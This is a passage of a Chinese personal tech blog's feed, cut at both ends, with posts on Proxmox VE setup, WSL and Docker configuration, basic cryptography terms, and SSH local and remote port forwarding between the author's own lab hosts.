/llm/</span><br><span class="line">conda activate ai</span><br><span class="line"></span><br><span class="line">mlc_llm chat Phi-3.5-mini-instruct-q4f16_1-MLC</span><br></pre></td></tr></table></figure><p><img src="/posts/44c7d218/mlc_llm_chat.png"></p>]]></content>
<summary type="html"><blockquote>
<p>嗯 <code>vgpu</code> 很重要<br>网速、硬盘杀手</p>
</blockquote>
<h1 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h1><ul></summary>
<category term="LLM" scheme="https://puzzle9.github.io/categories/LLM/"/>
</entry>
<entry>
<title>pve 初探 🕊</title>
<link href="https://puzzle9.github.io/posts/ef0dfae5/"/>
<id>https://puzzle9.github.io/posts/ef0dfae5/</id>
<published>2024-09-11T16:59:08.000Z</published>
<updated>2024-09-11T17:25:37.473Z</updated>
<content type="html"><![CDATA[<blockquote><p><code>one boom all boom</code></p></blockquote><ul><li><a href="https://pve.proxmox.com/">https://pve.proxmox.com/</a></li></ul><h1 id="前提"><a href="#前提" class="headerlink" title="前提"></a>前提</h1><p>一定要有个 <code>路由器</code> 可以和设备用网线连接的<br>一定要有个 <code>浏览器</code> 可以和路由器连接的<br>一定要有个 <code>u盘</code> 可以格式化和设备传文件的<br>设备可以接 <code>显示器</code></p><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><p>我用的 笔记本 整的无线网卡 难度拉满</p><p>安装时</p><ul><li>将 <code>swap</code> 分区设置为 <code>0</code></li><li>将分区类型设置为<br><code>xfs</code> <a href="https://www.reddit.com/r/DataHoarder/comments/11ar65f/linux_filesystems_ext4_vs_xfs_what_to_choose_what/">https://www.reddit.com/r/DataHoarder/comments/11ar65f/linux_filesystems_ext4_vs_xfs_what_to_choose_what/</a></li><li>将 网络连接 选为 <code>网口</code> 选<code>wifi</code>也没事</li><li>网络的 <code>ip</code> 地址配置成不冲突的 建议搞个新网段</li></ul><h1 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h1><h2 id="设备入网"><a href="#设备入网" class="headerlink" title="设备入网"></a>设备入网</h2><p>主要修改 <code>/etc/network/interfaces</code></p><p>不出意外 用网线连接后 浏览器可以访问 <code>8006</code> 端口了</p><h2 id="连接-wifi-iwd"><a href="#连接-wifi-iwd" class="headerlink" title="连接 wifi iwd"></a>连接 <code>wifi</code> <code>iwd</code></h2><ul><li><a href="https://wiki.debian.org/WiFi/HowToUse#iwd">https://wiki.debian.org/WiFi/HowToUse#iwd</a></li><li><a href="https://wiki.archlinuxcn.org/wiki/Iwd">https://wiki.archlinuxcn.org/wiki/Iwd</a></li><li><a href="https://pve.proxmox.com/wiki/Network_Configuration">https://pve.proxmox.com/wiki/Network_Configuration</a></li></ul><p>连接成功后 需要修改 <code>/etc/network/interfaces</code> 文件<br>之前那串名字 通常会变成 <code>wlan</code><br>再者出现了几种连接模式</p><h2 id="dhcp-服务"><a href="#dhcp-服务" class="headerlink" title="dhcp 服务"></a><code>dhcp</code> 服务</h2><ul><li><a href="https://wiki.debian.org/DHCP_Server">https://wiki.debian.org/DHCP_Server</a></li></ul><p>用的 <a href="https://packages.debian.org/bookworm/isc-dhcp-server">isc-dhcp-server</a></p><h2 id="修改时间同步服务-chrony"><a href="#修改时间同步服务-chrony" class="headerlink" title="修改时间同步服务 chrony"></a>修改时间同步服务 <code>chrony</code></h2><p><code>/etc/chrony/chrony.conf</code> 文件中的 <code>pool</code> 字段</p><h2 id="删除-local-lvm-分区"><a href="#删除-local-lvm-分区" class="headerlink" title="删除 local-lvm 分区"></a>删除 <code>local-lvm</code> 分区</h2><p>直接界面操作即可</p><h2 id="关闭笔记本盒盖休眠"><a href="#关闭笔记本盒盖休眠" class="headerlink" title="关闭笔记本盒盖休眠"></a>关闭笔记本盒盖休眠</h2><ul><li><a href="https://gist.github.com/h1code2/33c3c5a9000fc231d1dc6eb968953965">https://gist.github.com/h1code2/33c3c5a9000fc231d1dc6eb968953965</a></li></ul><p><code>/etc/systemd/logind.conf</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#HandlePowerKey按下电源键后的行为,默认power off</span></span><br><span class="line"><span class="comment">#HandleSleepKey 按下挂起键后的行为,默认suspend</span></span><br><span class="line"><span class="comment">#HandleHibernateKey按下休眠键后的行为,默认hibernate</span></span><br><span class="line"><span class="comment">#HandleLidSwitch合上笔记本盖后的行为,默认suspend(改为ignore;即合盖不休眠)在原文件中,还要去掉当前行和LidSwitchIgnoreInhibited=yes这行前面的 #</span></span><br></pre></td></tr></table></figure><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://pve.sqlsec.com/">https://pve.sqlsec.com/</a></li><li><a href="https://post.smzdm.com/p/akle62mk/">https://post.smzdm.com/p/akle62mk/</a></li></ul>]]></content>
<summary type="html"><blockquote>
<p><code>one boom all boom</code></p>
</blockquote>
<ul>
<li><a href="https://pve.proxmox.com/">https://pve.proxmox.com/</a></l</summary>
<category term="pve" scheme="https://puzzle9.github.io/categories/pve/"/>
</entry>
<entry>
<title>wsl 初探</title>
<link href="https://puzzle9.github.io/posts/ce4a16e7/"/>
<id>https://puzzle9.github.io/posts/ce4a16e7/</id>
<published>2024-09-11T15:30:59.000Z</published>
<updated>2024-09-12T05:38:16.570Z</updated>
<content type="html"><![CDATA[<blockquote><p>最好用的 <code>linux</code> 发行版</p></blockquote><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><p>建议直接去 <code>github</code> 下载最新版本来安装</p><ul><li><a href="https://github.com/microsoft/WSL/releases">https://github.com/microsoft/WSL/releases</a></li></ul><figure class="highlight ps"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> C:\Users\puzzle> wsl <span class="literal">--version</span></span><br><span class="line">WSL 版本: <span class="number">2.3</span>.<span class="number">17.0</span></span><br><span class="line">内核版本: <span class="number">5.15</span>.<span class="number">153.1</span><span class="literal">-2</span></span><br><span class="line">WSLg 版本: <span class="number">1.0</span>.<span class="number">64</span></span><br><span class="line">MSRDC 版本: <span class="number">1.2</span>.<span class="number">5326</span></span><br><span class="line">Direct3D 版本: <span class="number">1.611</span>.<span class="number">1</span><span class="literal">-81528511</span></span><br><span class="line">DXCore 版本: <span class="number">10.0</span>.<span class="number">26100.1</span><span class="literal">-240331-1435</span>.ge<span class="literal">-release</span></span><br><span class="line">Windows 版本: <span class="number">10.0</span>.<span class="number">22631.4037</span></span><br></pre></td></tr></table></figure><h1 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h1><ul><li><a href="https://learn.microsoft.com/zh-cn/windows/wsl/wsl-config">https://learn.microsoft.com/zh-cn/windows/wsl/wsl-config</a></li></ul><p>或者用 <code>WSL Settings</code> 进行修改</p><h2 id="wslconfig"><a href="#wslconfig" class="headerlink" title=".wslconfig"></a>.wslconfig</h2><p><code>C:\Users\<UserName>\.wslconfig</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[wsl2]</span><br><span class="line">processors=4</span><br><span class="line">memory=8GB</span><br><span class="line"># 关闭 swap</span><br><span class="line">swap=0</span><br><span class="line"># 网络模式为镜像</span><br><span class="line">networkingMode=mirrored</span><br><span class="line"># 关闭 wslg</span><br><span class="line">guiApplications=false</span><br><span class="line"></span><br><span class="line">[experimental]</span><br><span class="line">hostAddressLoopback=true</span><br><span class="line"># VHD 稀疏建议关闭 为了后续可以绕过wsl读取文件 https://github.com/microsoft/WSL/issues/4103</span><br><span class="line">sparseVhd=false</span><br></pre></td></tr></table></figure><h2 id="wsl-conf"><a href="#wsl-conf" class="headerlink" title="wsl.conf"></a>wsl.conf</h2><p><code>/etc/wsl.conf</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[automount]</span><br><span class="line">enabled = false</span><br><span class="line">mountFsTab = true</span><br><span class="line"></span><br><span class="line">[network]</span><br><span class="line">hostname = debian</span><br><span class="line">generateHosts = true</span><br><span class="line">generateResolvConf = true</span><br><span class="line"></span><br><span class="line">[interop]</span><br><span class="line">enabled = false</span><br><span class="line">appendWindowsPath = false</span><br><span class="line"></span><br><span class="line">[boot]</span><br><span class="line">systemd=true</span><br></pre></td></tr></table></figure><h1 id="自定义发行版"><a href="#自定义发行版" class="headerlink" title="自定义发行版"></a>自定义发行版</h1><p>下载一个启动器 再搞一个发行版的包 就可以</p><h2 id="启动器"><a href="#启动器" class="headerlink" title="启动器"></a>启动器</h2><ul><li><a href="https://github.com/yuk7/wsldl">https://github.com/yuk7/wsldl</a></li></ul><p><code>releases</code> 中的 <code>icons.zip</code> 解压即可</p><h2 id="发行版"><a href="#发行版" class="headerlink" title="发行版"></a>发行版</h2><h3 id="Debian"><a href="#Debian" class="headerlink" title="Debian"></a>Debian</h3><ul><li><a href="https://salsa.debian.org/debian/WSL/-/blob/master/create-targz.sh">https://salsa.debian.org/debian/WSL/-/blob/master/create-targz.sh</a></li></ul><p>参考这个自定义发行版</p><p>在 <code>debian</code> 系统运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># sid 的话 systemd 启动需要很久 还在查找原因</span></span><br><span class="line"></span><br><span class="line">DIST=<span class="string">"bookworm"</span></span><br><span class="line">debootstrap --<span class="built_in">arch</span> <span class="string">"amd64"</span> --exclude=debfoster --include=locales <span class="variable">$DIST</span> <span class="variable">$DIST</span> http://mirror.sjtu.edu.cn/debian</span><br><span class="line"><span class="built_in">chroot</span> <span class="variable">$DIST</span> apt remove vim-tiny nano && apt install vim && apt-get clean</span><br><span class="line"><span class="built_in">chroot</span> <span class="variable">$DIST</span> /bin/bash -c <span class="string">"update-locale LANGUAGE=en_US.UTF-8 LC_ALL=C"</span></span><br><span class="line"><span class="built_in">chroot</span> <span class="variable">$DIST</span> /bin/bash -c <span class="string">"echo 'en_US.UTF-8 UTF-8' >> /etc/locale.gen && locale-gen"</span></span><br><span class="line"><span class="comment"># https://github.com/microsoft/WSL/issues/6999 /tmp目录使用内存</span></span><br><span class="line"><span class="built_in">chroot</span> <span class="variable">$DIST</span> /usr/bin/systemctl <span class="built_in">enable</span> /usr/share/systemd/tmp.mount</span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> <span class="variable">$DIST</span></span><br><span class="line">tar --ignore-failed-read -czvf ../install.tar.gz *</span><br></pre></td></tr></table></figure><h3 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h3><h4 id="ldconfig-usr-lib-wsl-lib-libcuda-so-1-is-not-a-symbolic-link"><a href="#ldconfig-usr-lib-wsl-lib-libcuda-so-1-is-not-a-symbolic-link" class="headerlink" title="ldconfig: /usr/lib/wsl/lib/libcuda.so.1 is not a symbolic link"></a>ldconfig: /usr/lib/wsl/lib/libcuda.so.1 is not a symbolic link</h4><ul><li><a href="https://github.com/microsoft/WSL/issues/11229">https://github.com/microsoft/WSL/issues/11229</a></li></ul><p>目前来看 好像没啥影响</p><h4 id="docker-info"><a href="#docker-info" class="headerlink" title="docker info"></a>docker info</h4><ul><li><a href="https://stackoverflow.com/questions/69968135">https://stackoverflow.com/questions/69968135</a></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">WARNING: No blkio throttle.read_bps_device support</span><br><span class="line">WARNING: No blkio throttle.write_bps_device support</span><br><span class="line">WARNING: No blkio throttle.read_iops_device support</span><br><span class="line">WARNING: No blkio throttle.write_iops_device support</span><br></pre></td></tr></table></figure><p>看那唯一的答案 也没啥影响</p><h3 id="Alpine"><a href="#Alpine" class="headerlink" title="Alpine"></a>Alpine</h3><ul><li><a href="https://github.com/yuk7/AlpineWSL">https://github.com/yuk7/AlpineWSL</a></li><li><a href="https://github.com/puzzle9/AlpineWSL/blob/main/src_x64/Makefile">https://github.com/puzzle9/AlpineWSL/blob/main/src_x64/Makefile</a></li></ul><p>直接在 <code>workflows</code> 运行打包就行</p><h4 id="配置-1"><a href="#配置-1" class="headerlink" title="配置"></a>配置</h4><p>它使用的是 <a href="https://wiki.alpinelinux.org/wiki/OpenRC">OpenRC</a><br>其他大多数发行版用的 <a href="https://wiki.archlinux.org/title/Systemd">Systemd</a></p><p>所以 <code>/etc/wsl.conf</code> 的 <code>boot</code> 就变成了 <a href="https://www.cnblogs.com/Hakurei-Reimu-Zh/p/18267770">这样</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> > /etc/wsl.conf <<<span class="string">EOF</span></span><br><span class="line"><span class="string">[boot]</span></span><br><span class="line"><span class="string">command = mkdir -p /run/openrc/ && touch /run/openrc/softlevel && openrc</span></span><br><span class="line"><span class="string">EOF</span></span><br></pre></td></tr></table></figure><h1 id="终端"><a href="#终端" class="headerlink" title="终端"></a>终端</h1><ul><li><a href="https://github.com/microsoft/terminal/">https://github.com/microsoft/terminal/</a></li></ul><h1 id="开发"><a href="#开发" class="headerlink" title="开发"></a>开发</h1><h2 id="git"><a href="#git" class="headerlink" title="git"></a>git</h2><ul><li><a href="https://github.com/andy-5/wslgit">https://github.com/andy-5/wslgit</a></li></ul><p>有这个可以用</p><p>不过我用的 <code>sublime merge</code> 这个自带的 git 客户端</p><p>需要两边都配置下 账号信息</p><p>以及 在<code>win</code>上 <code>git config --global --add safe.directory "*"</code></p><h2 id="idea"><a href="#idea" class="headerlink" title="idea"></a>idea</h2><p>使用 <code>idea</code> 的 <code>remote</code></p><p>字体显示有点问题 其余还行</p><p>如果忽略 文件的 更新通知 直接用 <code>\\wsl.localhost\</code> 在编辑器打开即可</p><ul><li><a href="https://github.com/microsoft/WSL/issues/4739">https://github.com/microsoft/WSL/issues/4739</a></li></ul><h2 id="docker"><a href="#docker" class="headerlink" title="docker"></a>docker</h2><p><code>debian</code> 带了 <code>systemd</code> 那直接正常用就行<br>未用到 桌面版本</p><h3 id="安装-1"><a href="#安装-1" class="headerlink" title="安装"></a>安装</h3><ul><li><a href="https://docs.docker.com/engine/install/debian/">https://docs.docker.com/engine/install/debian/</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">apt-get install ca-certificates curl</span><br><span class="line">install -m 0755 -d /etc/apt/keyrings</span><br><span class="line">curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc</span><br><span class="line"><span class="built_in">chmod</span> a+r /etc/apt/keyrings/docker.asc</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> \</span><br><span class="line"> <span class="string">"deb [arch=<span class="subst">$(dpkg --print-architecture)</span> signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \</span></span><br><span class="line"><span class="string"> <span class="subst">$(. /etc/os-release && echo <span class="string">"<span class="variable">$VERSION_CODENAME</span>"</span>)</span> stable"</span> | \</span><br><span class="line"> <span class="built_in">tee</span> /etc/apt/sources.list.d/docker.list > /dev/null</span><br><span class="line">apt-get update</span><br><span class="line"></span><br><span class="line">apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</span><br></pre></td></tr></table></figure><h3 id="配置-2"><a href="#配置-2" class="headerlink" title="配置"></a>配置</h3><h4 id="etc-docker-daemon-json"><a href="#etc-docker-daemon-json" class="headerlink" title="/etc/docker/daemon.json"></a><code>/etc/docker/daemon.json</code></h4><ul><li><a href="https://docs.docker.com/reference/cli/dockerd/#daemon-configuration-file">https://docs.docker.com/reference/cli/dockerd/#daemon-configuration-file</a></li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"default-address-pools"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"base"</span><span class="punctuation">:</span> <span class="string">"172.17.0.0/16"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"size"</span><span class="punctuation">:</span> <span class="number">24</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"proxies"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"http-proxy"</span><span class="punctuation">:</span> <span class="string">"http://127.0.0.1:10809"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"https-proxy"</span><span class="punctuation">:</span> <span class="string">"http://127.0.0.1:10809"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="comment">// 关闭自带的配置 镜像网络用到 防止 本机无法访问</span></span><br><span class="line"> <span class="attr">"iptables"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><h4 id="修改启动配置"><a href="#修改启动配置" class="headerlink" title="修改启动配置"></a>修改启动配置</h4><p><code>systemctl edit docker</code></p><ul><li><a href="https://github.com/systemd/systemd/issues/24208#issuecomment-1614658755">https://github.com/systemd/systemd/issues/24208#issuecomment-1614658755</a></li><li><a href="https://stackoverflow.com/a/68818218/6686061">https://stackoverflow.com/a/68818218/6686061</a></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[Service]</span><br><span class="line">ExecStart=</span><br><span class="line">ExecStart=/usr/bin/dockerd --config-file /etc/docker/daemon.json -H fd:// --containerd=/run/containerd/containerd.sock</span><br></pre></td></tr></table></figure><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><h2 id="Zone-Identifier"><a href="#Zone-Identifier" class="headerlink" title="Zone.Identifier"></a><code>Zone.Identifier</code></h2><ul><li><a href="https://github.com/microsoft/WSL/issues/7456">https://github.com/microsoft/WSL/issues/7456</a></li></ul><p>遗留问题吧</p><p>有时从 <code>win</code> 给 <code>wsl</code> 复制会出现这个文件</p><h2 id="wsl-网速慢"><a href="#wsl-网速慢" class="headerlink" title="wsl 网速慢"></a><code>wsl</code> 网速慢</h2><ul><li><a href="https://github.com/microsoft/WSL/issues/4901">https://github.com/microsoft/WSL/issues/4901</a></li></ul><p>我重装系统后解决了</p><h2 id="挂载磁盘"><a href="#挂载磁盘" class="headerlink" title="挂载磁盘"></a>挂载磁盘</h2><ul><li><a href="https://github.com/microsoft/WSL/issues/6073">https://github.com/microsoft/WSL/issues/6073</a></li><li><a href="https://learn.microsoft.com/zh-cn/windows/wsl/wsl2-mount-disk">https://learn.microsoft.com/zh-cn/windows/wsl/wsl2-mount-disk</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET-CimInstance -query <span class="string">"SELECT * from Win32_DiskDrive"</span></span><br><span class="line">wsl --mount \\.\PHYSICALDRIVE* --bare</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mount -t drvfs C: /mnt/c</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">wsl 开发指南</summary>
<category term="wsl" scheme="https://puzzle9.github.io/categories/wsl/"/>
</entry>
<entry>
<title>crypto</title>
<link href="https://puzzle9.github.io/posts/68282885/"/>
<id>https://puzzle9.github.io/posts/68282885/</id>
<published>2024-02-12T03:11:25.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<blockquote><p>你也不想我们的秘密被别人晓得吧</p></blockquote><h1 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a><code>密码学</code></h1><ul><li><code>authenticity</code> 真实性</li><li><code>integrity</code> 完整性</li><li><code>non-repudiation</code> 不可否认性</li></ul><h2 id="Hash-哈希"><a href="#Hash-哈希" class="headerlink" title="Hash 哈希"></a><code>Hash</code> 哈希</h2><p>将任意一组数据转换为固定长度 确保无法逆向出原始消息</p><ul><li><code>md5</code></li><li><code>sha</code> <code>sha1</code> <code>sha256</code> <code>sha512</code> <code>sha3-512</code></li><li><code>bcrypt</code></li><li><code>argon2</code> <code>argon2d</code> <code>argon2i</code> <em>argon2id</em></li></ul><h2 id="Encryption-Decryption-加密、解密"><a href="#Encryption-Decryption-加密、解密" class="headerlink" title="Encryption Decryption 加密、解密"></a><code>Encryption Decryption</code> 加密、解密</h2><h3 id="对称加密"><a href="#对称加密" class="headerlink" title="对称加密"></a>对称加密</h3><p>加密与解密 <em>密钥相同</em></p><ul><li><code>AES</code> <code>AES-128-CBC</code> <code>AES-256-GCM</code> <code>AES-GCM-SIV</code></li><li><code>ChaCha</code> <em>XChaCha20-Poly1305</em> <code>ChaCha20-Poly1305</code></li></ul><h3 id="非对称加密"><a href="#非对称加密" class="headerlink" title="非对称加密"></a>非对称加密</h3><p>加密与解密 <em>密钥不同</em> 有一个 公钥 <code>public key</code> 和 私钥 <code>private key</code></p><ul><li><code>RSA</code> <code>RSA-2048</code> <code>RSA-4096</code></li><li><em>ECIES</em> 内部用的 <code>aes</code></li></ul><h2 id="Key-Exchange-密钥交换"><a href="#Key-Exchange-密钥交换" class="headerlink" title="Key Exchange 密钥交换"></a><code>Key Exchange</code> 密钥交换</h2><p>如何防止 <code>Eve</code> 晓得<code>Alice</code> 给 <code>Bob</code> 通过自己传递的消息 不过没有防止 <code>Mallory</code></p><ul><li><code>ECDH</code></li><li><code>ECIES</code></li></ul><h2 id="Signed-数字签名"><a href="#Signed-数字签名" class="headerlink" title="Signed 数字签名"></a><code>Signed</code> 数字签名</h2><ul><li><code>ECDSA</code></li><li><code>EdDSA</code></li></ul><h1 id="ECC-椭圆曲线密码学"><a href="#ECC-椭圆曲线密码学" class="headerlink" title="ECC 椭圆曲线密码学"></a><code>ECC</code> 椭圆曲线密码学</h1><p>应用有 <code>ECIES</code> <code>ECDH</code> <code>ECDSA</code> 等</p><p>这三类椭圆曲线之间可以相互转换</p><ul><li><em>ed25519</em> <code>ed448</code> 扭曲爱德华曲线</li><li><code>secp256k1</code> 维尔斯特拉斯</li><li><code>x25519</code> 蒙哥马利曲线</li></ul><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://thiscute.world/series/%E5%86%99%E7%BB%99%E5%BC%80%E5%8F%91%E4%BA%BA%E5%91%98%E7%9A%84%E5%AE%9E%E7%94%A8%E5%AF%86%E7%A0%81%E5%AD%A6/">https://thiscute.world/series/写给开发人员的实用密码学/</a></li><li><a href="https://zh.wikipedia.org/wiki/%E6%84%9B%E9%BA%97%E7%B5%B2%E8%88%87%E9%AE%91%E4%BC%AF">https://zh.wikipedia.org/wiki/愛麗絲與鮑伯</a></li><li><a href="https://github.com/nakov/practical-cryptography-for-developers-book">https://github.com/nakov/practical-cryptography-for-developers-book</a></li><li><a href="https://www.zhihu.com/question/290541183/answer/2514279783">https://www.zhihu.com/question/290541183/answer/2514279783</a></li></ul>]]></content>
<summary type="html">那个密码学的事</summary>
<category term="crypto" scheme="https://puzzle9.github.io/categories/crypto/"/>
</entry>
<entry>
<title>port 的转发</title>
<link href="https://puzzle9.github.io/posts/59f193dd/"/>
<id>https://puzzle9.github.io/posts/59f193dd/</id>
<published>2023-10-11T05:49:23.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<blockquote><p>想了想 <code>内网穿透</code> <code>端口映射</code> 都属于 <code>端口转发</code> 呀</p></blockquote><h1 id="主机列表"><a href="#主机列表" class="headerlink" title="主机列表"></a>主机列表</h1><table><thead><tr><th align="left">标识</th><th align="left">名称</th><th align="left">IP</th><th align="left">网络类型</th><th align="left">可访问</th><th align="left">端口列表</th></tr></thead><tbody><tr><td align="left"><code>local</code></td><td align="left"><code>本机</code></td><td align="left">192.168.1.10</td><td align="left">内外网</td><td align="left"><code>jump</code></td><td align="left"><code>tcp/13128</code></td></tr><tr><td align="left"><code>jump</code></td><td align="left"><code>跳板机</code></td><td align="left">10.0.2.20</td><td align="left">内网</td><td align="left"><code>server_local</code>、<code>server_public</code></td><td align="left"><code>tcp/280</code></td></tr><tr><td align="left"><code>server_local</code></td><td align="left"><code>内网服务器</code></td><td align="left">10.0.3.30</td><td align="left">内网</td><td align="left"><code>server_public</code></td><td align="left"><code>tcp/33306</code></td></tr><tr><td align="left"><code>server_public</code></td><td align="left"><code>外网服务器</code></td><td align="left">172.16.4.40</td><td align="left">公网</td><td align="left"><code>jump</code></td><td align="left"></td></tr></tbody></table><h1 id="转发类型"><a href="#转发类型" class="headerlink" title="转发类型"></a>转发类型</h1><h2 id="本地转发"><a href="#本地转发" class="headerlink" title="本地转发"></a>本地转发</h2><blockquote><p>把 <code>服务器</code> 上 的端口映射到 <code>本机</code></p></blockquote><p>1.在受限网络中访问某个服务器提供的端口、常见于只提供了本地<code>shell</code>,需要访问<code>服务端</code>其他端口</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -L [本地监听地址 localhost]:[本地监听端口]:[服务器地址]:[服务器监听端口] [待登录主机用户名]@[待登录主机地址]</span><br></pre></td></tr></table></figure><ul><li>连接 <code>跳板机</code> 后 把 <code>跳板机</code> 的 <code>280</code> 端口映射到 <code>本机</code> 的 <code>1280</code> 端口</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -L 1280:localhost:280 jump@10.0.2.20</span><br></pre></td></tr></table></figure><ul><li>连接 <code>跳板机</code> 后 把 <code>内网服务器</code> 的 <code>33306</code> 端口映射到 <code>本机</code> 的 <code>13306</code> 端口</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -L 13306:10.0.3.30:33306 jump@10.0.2.20</span><br></pre></td></tr></table></figure><h2 id="远程转发"><a href="#远程转发" class="headerlink" title="远程转发"></a>远程转发</h2><blockquote><p>把 <code>本机、目标</code> 上 的端口映射到 <code>服务器</code>、还有个响亮的名字叫 <code>内网穿透、端口映射</code></p></blockquote><ol><li>支付、登录回调等</li><li>内网的服务器通过本地代理上网</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -R [目标地址 localhost]:[目标端口]:[服务器监听地址]:[服务器监听端口] [待登录主机用户名]@[待登录主机地址]</span><br></pre></td></tr></table></figure><ul><li>连接 <code>跳板机</code> 后 把 <code>本机</code> 的 <code>13128</code> 端口映射到 <code>跳板机</code> 的 <code>23128</code> 端口</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -R 13128:localhost:23128 jump@10.0.2.20</span><br></pre></td></tr></table></figure><ul><li>连接 <code>跳板机</code> 后 把 <code>本机</code> 的 <code>13128</code> 端口映射到 <code>外网服务器</code> 的 <code>43128</code> 端口</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 先把 本机 的 13128 映射到 跳板机 的 23128</span></span><br><span class="line"> sh -R 13128:localhost:23128 jump@10.0.2.20</span><br><span class="line"><span class="comment"># 再把 跳板机的 23128 映射到 外网服务器的 43128</span></span><br><span class="line"> sh -R 23128:0.0.0.0:43128 server_public@172.16.4.40</span><br><span class="line"><span class="comment"># 如果 本机 可以直接连接 外网服务器的 时最简单</span></span><br><span class="line">ssh -R 13128:0.0.0.0:43128 